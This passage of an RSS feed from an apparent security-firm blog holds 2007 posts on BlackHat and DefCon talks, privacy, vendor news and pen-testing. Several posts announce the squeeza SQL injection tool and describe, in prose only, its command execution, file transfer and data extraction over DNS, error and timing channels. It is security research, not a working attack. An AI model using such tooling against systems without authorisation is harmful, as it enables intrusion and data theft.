				<description>&lt;p&gt;I meant to blog this whilst I was still in Vegas, but only got around&lt;br /&gt;&#xA;to it now. Its arb, but worth a bit of thinking&amp;#8230; Kenneth Geers&amp;#8217;&lt;br /&gt;&#xA;talk titled &amp;#8216;Greetz from Room 101&amp;#8217; was on which countries have the&lt;br /&gt;&#xA;Top Ten most Orwellian computer networks. In his precis he asks&lt;br /&gt;&#xA;&amp;#8220;Could a cyber attack lead to a real-life government overthrow?&amp;#8221;&lt;/p&gt;&#xA;&lt;p&gt;I find these kinds of discussions really interesting, because of the&lt;br /&gt;&#xA;significant role that information technology plays in today&amp;#8217;s wars on&lt;br /&gt;&#xA;crime and &amp;#8216;terror&amp;#8217;.  In such &amp;#8220;wars&amp;#8221; the lines between right and wrong&lt;br /&gt;&#xA;are very loosely defined. As we saw clearly in South Africa today&amp;#8217;s&lt;br /&gt;&#xA;terrorist is tomorrow&amp;#8217;s freedom fighter. Thus, a technology that&lt;br /&gt;&#xA;could be used fight terror today, could just as easily be used to&lt;br /&gt;&#xA;oppress freedom tomorrow. Technology will serve any master.&lt;/p&gt;</description>
			</item>
			<item>
				<title>F(inally)ull Release of BlackHat-Defcon Timing Stuff..</title>
				<link>https://sensepost.com/blog/2007/finallyull-release-of-blackhat-defcon-timing-stuff../</link>
				<pubDate>Fri, 10 Aug 2007 10:22:59 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/finallyull-release-of-blackhat-defcon-timing-stuff../</guid>
				<description>&lt;p&gt;The &lt;a href=&#34;https://sensepost.com/cms/resources/conferences/2007/its_all_about_timing/bh-usa-07-meer_and_slaviero.pdf&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;slides&lt;/a&gt; | &lt;a href=&#34;https://github.com/sensepost/squeeza&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;tool&lt;/a&gt; | &lt;a href=&#34;https://sensepost.com/cms/resources/conferences/2007/its_all_about_timing/dc-15-meer_and_slaviero-WP.pdf&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;paper&lt;/a&gt; from BlackHat07/DefCon07 have been posted online for your wget&amp;#8217;ing pleasure.&lt;/p&gt;&#xA;&lt;p&gt;More details on squeeza (the tool) can be found on the &lt;a href=&#34;https://github.com/sensepost/squeeza&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;squeeza page&lt;/a&gt;, but in a nutshell is a sql injection tool that uses Metasploits concept of splitting exploit/payloads/etc with SQL Injection attacks. Current modules are written for MS-SQL server but include functionality for (user defined sql queries, some db schema enumeration, command execution, file-transfer, db_info) and the information is returned (channel selection) via one of (application error messages, DNS, Timing). The modularity&amp;#8217;ness means that these all mix and match &amp;#8211; I.e. if you write a module to &amp;#8220;extract data from all tables that look like username*&amp;#8221;, the results would be available on any of the available channels.. (Its a pretty neat tool.. and saved our bacon more than once) So check it out, and send feedback to research@sensepost.com&lt;/p&gt;</description>
			</item>
			<item>
				<title>Another blow for privacy? A small price for your 15 minutes of fame..</title>
				<link>https://sensepost.com/blog/2007/another-blow-for-privacy-a-small-price-for-your-15-minutes-of-fame../</link>
				<pubDate>Wed, 08 Aug 2007 20:18:09 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/another-blow-for-privacy-a-small-price-for-your-15-minutes-of-fame../</guid>
				<description>&lt;p&gt;&lt;a href=&#34;http://www.spock.com&#34; target=&#34;_blank&#34;&gt;&lt;img align=&#34;left&#34; alt=&#34;spl.gif&#34; src=&#34;https://sensepost.com/img/pages/blog/2007/another-blow-for-privacy-a-small-price-for-your-15-minutes-of-fame/910fab9d677b6a8d473d57cd5720242a.gif&#34; title=&#34;spl.gif&#34; /&gt; Spock&lt;/a&gt; have just opened up beyond their private beta and promise to be the most comprehensive people search tool on the interwebs.. Their model is interesting because they aim to combine wikipedia style editing with a single focus.. people..&lt;/p&gt;&#xA;&lt;p&gt;Roelof and i had long discussions in the past, around someway to get people to update information on people while growing the db and still having people contribute.. Interestingly, spocks simple sounding approach might be perfect.. in a day when everybody vanity googles themselves, and when the facebook/myspace/twitter generation have 0 qualms about informing the world what they are doing 24/7, the simplest way to populate a db with information about people, might just be to let them fill the info in themselves..&lt;/p&gt;</description>
			</item>
			<item>
				<title>BlackHat Roundup – Ajax and h.323 and iax</title>
				<link>https://sensepost.com/blog/2007/blackhat-roundup-ajax-and-h.323-and-iax/</link>
				<pubDate>Tue, 07 Aug 2007 09:43:36 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/blackhat-roundup-ajax-and-h.323-and-iax/</guid>
				<description>&lt;p&gt;The bulk of security research pertaining to VoIP call control, setup and signaling protocols has focused on the Session Initiation Protocol (SIP), due to the ubiquity and widespread adoption of this protocol. However, a number of other protocols and protocol suites are in use in many organizations and have been adopted by many of the VoIP vendors. Some examples of these protocols are Cisco&amp;#8217;s Skinny Client Control Protocol (SCCP or Skinny), the H.323 suite of protocols, and Asterisk&amp;#8217;s Inter-Asterisk eXchange (IAX).&lt;/p&gt;</description>
			</item>
			<item>
				<title>Squeeza: The SQL Injection Future?</title>
				<link>https://sensepost.com/blog/2007/squeeza-the-sql-injection-future/</link>
				<pubDate>Fri, 03 Aug 2007 07:36:17 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/squeeza-the-sql-injection-future/</guid>
				<description>&lt;p&gt;During our talk we demo&amp;#8217;d squeeza.. We will link to the slides and .ppt as soon as we can, but have been getting a few requests already for the code, so here it is..&lt;/p&gt;&#xA;&lt;p&gt;For those who missed the talk, squeeza is a SQL Injection tool, that once given an entry point can simply a bunch of things. Its the first tool i know of that facilitates full binary file transfers (download from the remote SQL Server), database enumeration, etc via a number of channels (Currently via DNS, via HTTP Error messages and Via Timing).&lt;/p&gt;</description>
			</item>
			<item>
				<title>Late BlackHat Update..</title>
				<link>https://sensepost.com/blog/2007/late-blackhat-update../</link>
				<pubDate>Fri, 03 Aug 2007 07:22:47 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/late-blackhat-update../</guid>
				<description>&lt;p&gt;ok.. so im in my room finally catching up on sleep (or will be in a few minutes) while most people are finishing Microsofts booze at the PURE microsoft party.. BlackHat is over, which means tomorrow we are off to the riviera for defcon..&lt;/p&gt;&#xA;&lt;p&gt;Marco and i got a lot of positive feedback from our talk, including from guys like rob auger of &lt;a href=&#34;http://www.webappsec.org/&#34; target=&#34;_blank&#34;&gt;wasc&lt;/a&gt; fame and andrew bortz who we quote in our paper, so it was pretty cool.. all our demos went of smoothly (where one of them was using javascript (and timing) to create a distributed brute-forcing tool, which had every opportunity to go south) so we were happy..&lt;/p&gt;</description>
			</item>
			<item>
				<title>BlackHat Progress Report</title>
				<link>https://sensepost.com/blog/2007/blackhat-progress-report/</link>
				<pubDate>Mon, 30 Jul 2007 20:21:26 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/blackhat-progress-report/</guid>
				<description>&lt;p&gt;(always wanted to say that!)&lt;/p&gt;&#xA;&lt;p&gt;2 SensePost Training sessions are over, and as i type The weekday sessions are at about 50%. Feedback so far has been pretty cool and its been fun to meet new people / bump into some old friends..&lt;/p&gt;&#xA;&lt;p&gt;The next &amp;#8220;biggie&amp;#8221; on the horizon is &lt;a href=&#34;http://www.blackhat.com/html/bh-usa-07/bh-usa-07-speakers.html#meer&#34; target=&#34;_blank&#34;&gt;Wednesdays talk..&lt;/a&gt; We have had a fair bit of interest so far and even though the slot has some stiff competition its seems like all will be well :). The talk should be interesting to developers, pen-testers and even just people with a vague interest in see&amp;#8217;ing cool stuff.. Marco has been adding functionality to &amp;#8220;squeeza&amp;#8221; like a demon and as it stands its probably the only SQL Injection tool i know that will allow (file downloads, arb sql queries, database mining) all purely in T-Sql over a variety of transport channels (dns, error messages, timing). We will post the link to it for download just before we talk..&lt;/p&gt;</description>
			</item>
			<item>
				<title>BlackHat, DefCon, Las Vegas</title>
				<link>https://sensepost.com/blog/2007/blackhat-defcon-las-vegas/</link>
				<pubDate>Fri, 27 Jul 2007 22:40:05 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/blackhat-defcon-las-vegas/</guid>
				<description>&lt;p&gt;Ok.. so the 2nd plane with SensePost&amp;#8217;ers has touched down in LasVegas and the first cheeze-pizza from the caesars food court has been consumed.. So little changes in caesars that it always adds to the surreal feeling that lasts for the entire stay..&lt;/p&gt;&#xA;&lt;p&gt;We will be in the training rooms over the weekend, and during the week, and will then give our &lt;a href=&#34;http://www.blackhat.com/html/bh-usa-07/bh-usa-07-speakers.html#meer&#34; target=&#34;_blank&#34;&gt;bh-talk&lt;/a&gt;, before moving to &lt;a href=&#34;https://www.defcon.org/&#34; target=&#34;_blank&#34;&gt;defcon&lt;/a&gt; for the talk there..&lt;/p&gt;&#xA;&lt;p&gt;in between, as usual its a chance to meet old friends, make new ones and get &lt;a href=&#34;http://www.vegashotelpools.com/images/pools/Caesars_Palace_Main.jpg&#34; target=&#34;_blank&#34;&gt;sun-burnt!&lt;/a&gt; Grab us if you see us, and we can grab coffee/beer/chocolate-milk..&lt;/p&gt;</description>
			</item>
			<item>
				<title>QoW 1 answered; Qow 2 released</title>
				<link>https://sensepost.com/blog/2007/qow-1-answered-qow-2-released/</link>
				<pubDate>Tue, 24 Jul 2007 13:30:53 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/qow-1-answered-qow-2-released/</guid>
				<description>&lt;p&gt;A little while back we published our &lt;a href=&#34;http://www.sensepost.com/qow/qow-1.html&#34;&gt;first public QoW&lt;/a&gt; for your abuse and enjoyment, and the time to close it is &amp;#8230;&amp;#8230;&amp;#8230;. now. The new QoW is available &lt;a href=&#34;http://www.sensepost.com/qow/qow-2.html&#34;&gt;here&lt;/a&gt;.&lt;br /&gt;&#xA;Thanks for the efforts; we received a fair number of answers and are still figuring out how to go about recording your submissions. For now, we&amp;#8217;ll publish the first correct answer, and discuss the answer in brief. Over to Haroon:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://jeremiahgrossman.blogspot.com/&#34;&gt;Jeremiah Grossman&lt;/a&gt; was the first correct answer, with valiant attempts from many others.. Acceptable solutions involved either the use of JavaScript / HTML comments to allow our injection to span multiple lines (or really really small urls :&gt;)&lt;/p&gt;</description>
			</item>
			<item>
				<title>-sigh- little things, little minds…</title>
				<link>https://sensepost.com/blog/2007/-sigh-little-things-little-minds/</link>
				<pubDate>Sun, 22 Jul 2007 18:07:50 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/-sigh-little-things-little-minds/</guid>
				<description>&lt;p&gt;Deels stumbled on &lt;a href=&#34;http://www.simpsonizeme.com/index.php&#34; target=&#34;_blank&#34;&gt;www.simpsonizeme.com&lt;/a&gt; to give me mh, the springfield edition..&lt;/p&gt;&#xA;&lt;div align=&#34;left&#34;&gt;&lt;img alt=&#34;mh_full1.png&#34; height=&#34;311&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2007/sigh-little-things-little-minds/5298a8f8b7b0981d502910f31f4f4cf8.png&#34; width=&#34;169&#34; /&gt;&lt;/div&gt;&#xA;&lt;div align=&#34;left&#34;&gt;Combine with your intranet mug-shots, and it could give you hours of lost productivity..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Google Cookies.. Finally a saner expiry date…</title>
				<link>https://sensepost.com/blog/2007/google-cookies..-finally-a-saner-expiry-date/</link>
				<pubDate>Mon, 16 Jul 2007 23:27:56 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/google-cookies..-finally-a-saner-expiry-date/</guid>
				<description>&lt;p&gt;Google have finally &lt;a href=&#34;http://googleblog.blogspot.com/2007/07/cookies-expiring-sooner-to-improve.html&#34; target=&#34;_blank&#34;&gt;revised their cookie expiration&lt;/a&gt; policy, which will have user cookies expiring after 2 years. (For those of you who think this is too long, it needs to be kept in mind that this used to be set to expire in 2038!).&lt;/p&gt;&#xA;&lt;p&gt;Of course, the tin-foil hat wearers amongst us are going to find it difficult to convince the &amp;#8220;keep-your-stinkin-privacy-i-want-my-15-minutes&amp;#8221; facebook generation that privacy actually matters, but we can probably chalk this, and their earlier &lt;a href=&#34;http://googleblog.blogspot.com/2007/03/taking-steps-to-further-improve-our.html&#34; target=&#34;_blank&#34;&gt;anouncement to sanitize search server logs&lt;/a&gt; after 18 months as a tiny victory..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Adam Shostack on Biometrics..</title>
				<link>https://sensepost.com/blog/2007/adam-shostack-on-biometrics../</link>
				<pubDate>Mon, 16 Jul 2007 23:10:24 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/adam-shostack-on-biometrics../</guid>
				<description>&lt;p&gt;hmmm&amp;#8230; i have heard &lt;a href=&#34;http://www.emergentchaos.com/archives/2007/07/you_cant_change_your_fing.html&#34; target=&#34;_blank&#34;&gt;this&lt;/a&gt; somewhere before&amp;#8230;.&lt;/p&gt;&#xA;&lt;p&gt;&amp;#8221; However, in cases where your finger is used to identify or authenticate you, it&amp;#8217;s much harder to change your password. &amp;#8221;&lt;/p&gt;&#xA;&lt;p&gt;/mh&lt;/p&gt;</description>
			</item>
			<item>
				<title>VMWare Fusion, i love you not, i love you…</title>
				<link>https://sensepost.com/blog/2007/vmware-fusion-i-love-you-not-i-love-you/</link>
				<pubDate>Thu, 12 Jul 2007 07:38:31 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/vmware-fusion-i-love-you-not-i-love-you/</guid>
				<description>&lt;p&gt;ok.. some of you in the office would have heard me whine when vmware fusion recently started taking my whole machine down occasionally. The joy of it being the whole machine is that ive lost my firefox profile, and managed to turf my osx preferences twice since this started happening..&lt;/p&gt;&#xA;&lt;p&gt;Through meticulous checking i tracked down that the problem started &amp;#8220;the day i blogged about how much i love vmware fusion&amp;#8221;. i spent a lot of time wondering if i rm&amp;#8217;d the post if it would fix the problem&amp;#8230;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Have a (one) care sir….</title>
				<link>https://sensepost.com/blog/2007/have-a-one-care-sir./</link>
				<pubDate>Wed, 11 Jul 2007 00:10:15 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/have-a-one-care-sir./</guid>
				<description>&lt;p&gt;Someone in the office was discussing Microsoft&amp;#8217;s recent horrible foray into the anti-virus market. Apparently an online source held &lt;a href=&#34;http://onecare.live.com/standard/en-us/default.htm&#34; target=&#34;_blank&#34;&gt;one-care&lt;/a&gt; as faring worse than a simple man with a perl script. A quick scan shows that they have indeed faired pretty poorly in independent tests:&lt;/p&gt;&#xA;&lt;p&gt;&amp;#8220;(&lt;a href=&#34;http://news.bbc.co.uk/1/hi/technology/6418965.stm&#34; target=&#34;_blank&#34;&gt;BBC News&lt;/a&gt;) &lt;font size=&#34;2&#34;&gt;OneCare was the only failure among 17 anti-virus programs tested by the AV Comparatives organisation.&lt;/font&gt;&amp;#8221;&lt;/p&gt;&#xA;&lt;p&gt;Now the obvious question was: How could Microsoft possibly get it so wrong? (Cue the drum roll, bring out your tin foil hats)&lt;/p&gt;</description>
			</item>
			<item>
				<title>Probably the best book dedication i have ever seen….</title>
				<link>https://sensepost.com/blog/2007/probably-the-best-book-dedication-i-have-ever-seen./</link>
				<pubDate>Sat, 07 Jul 2007 18:39:28 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/probably-the-best-book-dedication-i-have-ever-seen./</guid>
				<description>&lt;p&gt;Richard Bejtlich didnt give the pre-release &lt;a href=&#34;http://taosecurity.blogspot.com/2007/07/another-review-another-pre-review.html&#34; target=&#34;_blank&#34;&gt;a glowing review&lt;/a&gt; but i know at least a few people waiting eagerly to get their hands on the new &amp;#8220;&lt;a href=&#34;http://www.amazon.com/Fuzzing-Brute-Force-Vulnerability-Discovery/dp/0321446119/ref=pd_bbs_sr_1/102-2868528-5349738?ie=UTF8&amp;#038;s=books&amp;#038;qid=1183832867&amp;#038;sr=8-1&#34; target=&#34;_blank&#34;&gt;Fuzzing: Brute Force Vulnerability Discovery  by Michael Sutton, Adam Greene, and Pedram Amini&lt;/a&gt;&amp;#8220;. Pedram is the mastermind behind &lt;a href=&#34;http://pedram.redhive.com/code/paimei/&#34; target=&#34;_blank&#34;&gt;Pai-Mei&lt;/a&gt; and started &lt;a href=&#34;https://www.openrce.org/&#34; target=&#34;_blank&#34;&gt;OpenRCE&lt;/a&gt;, but &lt;a href=&#34;http://www.openrce.org/blog/view/800/Greatest_Book_Dedication_Ever?&#34; target=&#34;_blank&#34;&gt;his last blog post&lt;/a&gt; points to the books dedication page, and it probably makes the book worth buying all on its own..&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;pedram.png&#34; height=&#34;138&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2007/probably-the-best-book-dedication-i-have-ever-seen/bfdaed4f1043531a17e88fe5a3af4407.png&#34; width=&#34;655&#34; /&gt;&lt;br /&gt;&#xA;outstanding&amp;#8230;&lt;/p&gt;</description>
			</item>
			<item>
				<title>In Defense of Testing Pens… (aka how to keep your soul while being a pen-tester)</title>
				<link>https://sensepost.com/blog/2007/in-defense-of-testing-pens-aka-how-to-keep-your-soul-while-being-a-pen-tester/</link>
				<pubDate>Wed, 04 Jul 2007 08:28:26 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/in-defense-of-testing-pens-aka-how-to-keep-your-soul-while-being-a-pen-tester/</guid>
				<description>&lt;p&gt;A short while back, a discussion broke out on a mailing list about the nature of being a pen-tester. The discussion quickly gravitated towards the number of &amp;#8220;security&amp;#8221; companies  where numbers of projects far out-weigh the interestingness of projects, leading rapidly to a cookie-cutter mentality to pen-test engagements..&lt;/p&gt;&#xA;&lt;p&gt;Of course if you have spent any time in the industry, you already know this to be true.. the obvious danger with this is that you have a lot of unhappy pen-testers giving shoddy output to (eventually) very unhappy customers. Sadly this soon follows the well published &amp;#8220;market for lemons&amp;#8221; problem where eventually due to information asymmetry, bad products will soon push out good ones.. i.e. because its hard for customers to tell the difference between good pen-tests and lame pen-tests, eventually the market price drops towards low grade pen-tests (since the customer is paying for what they expect) and at the low prices, good pen-test teams will close shop and move on to other lines of work..&lt;/p&gt;</description>
			</item>
			<item>
				<title>SensePost Training at Black Hat Las Vegas</title>
				<link>https://sensepost.com/blog/2007/sensepost-training-at-black-hat-las-vegas/</link>
				<pubDate>Tue, 03 Jul 2007 10:28:46 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/sensepost-training-at-black-hat-las-vegas/</guid>
				<description>&lt;p&gt;The Black Hat Briefings is arguably the most significant technical&lt;br /&gt;&#xA;security conference in the world. It takes every year in Las Vegas&lt;br /&gt;&#xA;and also includes a series of diverse technical training courses. For&lt;br /&gt;&#xA;the sixth time this year SensePost will be presenting a series of&lt;br /&gt;&#xA;courses from our &amp;#8216;Hacking By Numbers&amp;#8217; range at the briefings. There&lt;br /&gt;&#xA;are a number of courses catered for most levels of technical&lt;br /&gt;&#xA;experience, starting with &amp;#8216;Cadet Edition&amp;#8217; for novices and ending with&lt;br /&gt;&#xA;&amp;#8216;Combat&amp;#8217; for expert level hackers.&lt;/p&gt;</description>
			</item>
			<item>
				<title>On vulnerability, root cause, white-listing and compliance</title>
				<link>https://sensepost.com/blog/2007/on-vulnerability-root-cause-white-listing-and-compliance/</link>
				<pubDate>Sun, 01 Jul 2007 23:29:46 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/on-vulnerability-root-cause-white-listing-and-compliance/</guid>
				<description>&lt;p&gt;Many years ago, when we first released &amp;#8216;Setiri&amp;#8217; one of the controls&lt;br /&gt;&#xA;that we preached was website white-listing. As talk-back trojans&lt;br /&gt;&#xA;would connect back to arbitrary web servers on the Internet, we&lt;br /&gt;&#xA;argued that companies should create shortlists of the sites employees&lt;br /&gt;&#xA;are allowed to visit. This, we argued, was much more feasible than&lt;br /&gt;&#xA;trying to identify and block known &amp;#8216;bad&amp;#8217; sites. Of course, there are&lt;br /&gt;&#xA;a number of other compelling reasons for implementing this kind of&lt;br /&gt;&#xA;white-listing, and of course nobody does it (even though I&amp;#8217;ve seen&lt;br /&gt;&#xA;fairly good technical implementations of this concept).&lt;/p&gt;</description>
			</item>
			<item>
				<title>and then there was one….</title>
				<link>https://sensepost.com/blog/2007/and-then-there-was-one./</link>
				<pubDate>Tue, 19 Jun 2007 20:01:44 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/and-then-there-was-one./</guid>
				<description>&lt;p&gt;First &lt;a href=&#34;http://www.darkreading.com/document.asp?doc_id=125819&amp;#038;f_src=darkreading_section_296&#34; target=&#34;_blank&#34;&gt;IBM announced their interest in Watchfire&lt;/a&gt;, and now HP &lt;a href=&#34;http://www.hp.com/hpinfo/newsroom/press/2007/070619xb.html&#34; target=&#34;_blank&#34;&gt;announces their interest in SPI Dynamics&lt;/a&gt;. &amp;#8220;Consolidation in the industry&amp;#8221; is one of those horrible phrases that are always bandied about because it makes people seem analytical and fore-casty, but i think its pretty clear that there are stirrings in buyout land right now.. I guess it bodes well for &lt;a href=&#34;http://www.whitehatsec.com/home/index.html&#34; target=&#34;_blank&#34;&gt;WhiteHatSec&lt;/a&gt; and similar folks.. they surely have to be on the radar..&lt;/p&gt;&#xA;&lt;p&gt;Talking of buyouts, its always been strange for me that &lt;a href=&#34;http://www.coresecurity.com/&#34; target=&#34;_blank&#34;&gt;CORE&lt;/a&gt; have managed to go by as long as they have without being purchased. Their technical roots being in Argentina might have explained it for a little while, but a whole bunch of years later.. i dont get it.. (Having said that, i must add the caveat that i am talking completely through my ear since im pretty sure they would have been approached often enough and could simply have been rejecting offers waiting for the right match..)&lt;/p&gt;</description>
			</item>
			<item>
				<title>Shuttleworth comments on Microsoft/Ubuntu deal rumours</title>
				<link>https://sensepost.com/blog/2007/shuttleworth-comments-on-microsoft/ubuntu-deal-rumours/</link>
				<pubDate>Sat, 16 Jun 2007 21:15:43 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/shuttleworth-comments-on-microsoft/ubuntu-deal-rumours/</guid>
				<description>&lt;p&gt;Mark Shuttleworth &lt;a href=&#34;http://www.markshuttleworth.com/archives/127&#34; target=&#34;_blank&#34;&gt;on his blog makes it clear&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;-snip-&lt;/p&gt;&#xA;&lt;p&gt;&amp;#8220;&lt;strong&gt;We have declined to discuss any agreement with Microsoft under the threat of unspecified patent infringements.&amp;#8221;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&amp;#8230;&lt;/p&gt;&#xA;&lt;p&gt;I have no objections to working with Microsoft in ways that further the cause of free software, and I donâ€&lt;img alt=&#34;™&#34;  src=&#34;https://s.w.org/images/core/emoji/17.0.2/72x72/2122.png&#34; /&gt;t rule out any collaboration with them, in the event that they adopt a position of constructive engagement with the free software community.&lt;/p&gt;&#xA;&lt;p&gt;&amp;#8230;&lt;/p&gt;&#xA;&lt;p&gt;All the deals announced so far strike me as â€œtrinkets in exchange for air kissesâ€. Mua mua. No thanks.&lt;br /&gt;&#xA;-snip-&lt;/p&gt;</description>
			</item>
			<item>
				<title>Viva Las Vegas!</title>
				<link>https://sensepost.com/blog/2007/viva-las-vegas/</link>
				<pubDate>Wed, 13 Jun 2007 20:28:23 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/viva-las-vegas/</guid>
				<description>&lt;p&gt;BlackHat Vegas is almost on us again, and this will be the 6th year running that we present there.. This year &lt;a href=&#34;http://www.blackhat.com/html/bh-usa-07/bh-usa-07-speakers.html#meer&#34; target=&#34;_blank&#34;&gt;Marco and i&lt;/a&gt; will be taking a new look at some old attacks.. The bulk of the talk will focus (like its name suggests) on timing attacks, but we will be looking in general at timing, race conditions and other attacks that have not yet been packaged into tools and so are not yet prone to the type of over-fishing we have found with fuzzable bugs..&lt;/p&gt;</description>
			</item>
			<item>
				<title>CSI Corporate Threat Modeling Talk</title>
				<link>https://sensepost.com/blog/2007/csi-corporate-threat-modeling-talk/</link>
				<pubDate>Tue, 12 Jun 2007 22:30:41 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/csi-corporate-threat-modeling-talk/</guid>
				<description>&lt;p&gt;Whew. After much last-minute war with PPT C# and ORM our slides and&lt;br /&gt;&#xA;Beta 1.0 of our tool are available on our &lt;a href=&#34;http://www.sensepost.com/research/ctm/&#34; target=&#34;_blank&#34;&gt;research site&lt;/a&gt;. I think the slides are pretty neat,&lt;br /&gt;&#xA;and I&amp;#8217;m *very* excited about the tool, but unfortunately we didn&amp;#8217;t&lt;br /&gt;&#xA;get as far with the latter as we&amp;#8217;d hoped to. Still, it illustrates&lt;br /&gt;&#xA;the concept pretty nicely and its built pretty solid (thanks James)&lt;br /&gt;&#xA;so it should grow quickly from here.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Safari on Win32, and browser choices in general..</title>
				<link>https://sensepost.com/blog/2007/safari-on-win32-and-browser-choices-in-general../</link>
				<pubDate>Tue, 12 Jun 2007 09:34:11 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/safari-on-win32-and-browser-choices-in-general../</guid>
				<description>&lt;p&gt;Gareth linked to &lt;a href=&#34;http://erratasec.blogspot.com/&#34; target=&#34;_blank&#34;&gt;David Maynor&amp;#8217;s blog&lt;/a&gt; where he documents the results of some simple fuzzing against the new &lt;a href=&#34;http://www.apple.com/safari/download/&#34; target=&#34;_blank&#34;&gt;Win32 port of Safari&lt;/a&gt;. Of  course fanboys everywhere are going to be on this one like, erm.. like a thing that is very onto another thing.. but.. i digress..&lt;/p&gt;&#xA;&lt;p&gt;2 things are interesting in all this for me though..&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Why Apple chose now to do the win32 safari release&lt;/li&gt;&#xA;&lt;li&gt;Why anyone in security uses Safari anyway?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Most people postulate that the Win32 Safari release is tied to the release of the iPhone. Since 3rd party developers cant build for the iPhone yet, it would seem that web-apps running on iPhone Safari would be the way to go for now.. if you are pushing the browser they need better adoption.. its a reasonable enough theory and i cant imagine its because apple actually want to launch a serious attack against IE/Mozilla on non Apple desktops&lt;/p&gt;</description>
			</item>
			<item>
				<title>More Pentagon data leakage through Office files..</title>
				<link>https://sensepost.com/blog/2007/more-pentagon-data-leakage-through-office-files../</link>
				<pubDate>Sun, 10 Jun 2007 17:37:55 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/more-pentagon-data-leakage-through-office-files../</guid>
				<description>&lt;p&gt;&lt;a href=&#34;http://www.thespywhobilledme.com/the_spy_who_billed_me/2007/06/exclusive_offic.html&#34; target=&#34;_blank&#34;&gt;R J Hillhouse&lt;/a&gt; (&lt;a href=&#34;http://www.rjhillhouse.com/&#34; target=&#34;_blank&#34;&gt;who has a fascinating background&lt;/a&gt;) found that when she double clicked a graph on a slide deck belonging to the office of national intelligence (available from the &lt;a href=&#34;http://www.dia.mil/contracting/briefs/Tuesday%20GeneralSession%201130%20Everett.ppt&#34; target=&#34;_blank&#34;&gt;DIA&lt;/a&gt; website), the linked spreadsheet popped up..&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;odnislide11.gif&#34; height=&#34;378&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2007/more-pentagon-data-leakage-through-office-files/c09477cd7fe6d93b16bc786643339307.gif&#34; width=&#34;605&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This effectively revealed &amp;#8220;&lt;strong&gt;the dollar amounts in tens of  millions spent by the US Intelligence Community on contractors&amp;#8221;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Aages ago &lt;a href=&#34;http://lcamtuf.coredump.cx/strikeout/&#34; target=&#34;_blank&#34;&gt;lcamtuf&lt;/a&gt; highlighted info leakage through MS Office files, and it seems these days lots of folks are making lots of money selling blackbox, i will prevent data leakage in your organization type kit.. i haven&amp;#8217;t looked in depth at too many of them but have to wonder how many of them would have caught the embedded spreadsheet at all..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Threat Modelling Talk at CSI Phoenix</title>
				<link>https://sensepost.com/blog/2007/threat-modelling-talk-at-csi-phoenix/</link>
				<pubDate>Sat, 09 Jun 2007 19:46:31 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/threat-modelling-talk-at-csi-phoenix/</guid>
				<description>&lt;p&gt;After a six hour delay due to technical problems *before* my journey&lt;br /&gt;&#xA;even started I&amp;#8217;m finally on the plane and waiting for take off. Tag&lt;br /&gt;&#xA;an additional five hour delay due to a missed connection in New York&lt;br /&gt;&#xA;and this quickly become a very, very long trip. Perhaps my longest&lt;br /&gt;&#xA;ever. Ah well, the price we pay for living at the end of the world, I&lt;br /&gt;&#xA;guess.&lt;/p&gt;</description>
			</item>
			<item>
				<title>VMware for OSX (Fusion) – Beta 4</title>
				<link>https://sensepost.com/blog/2007/vmware-for-osx-fusion-beta-4/</link>
				<pubDate>Sat, 09 Jun 2007 00:08:11 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/vmware-for-osx-fusion-beta-4/</guid>
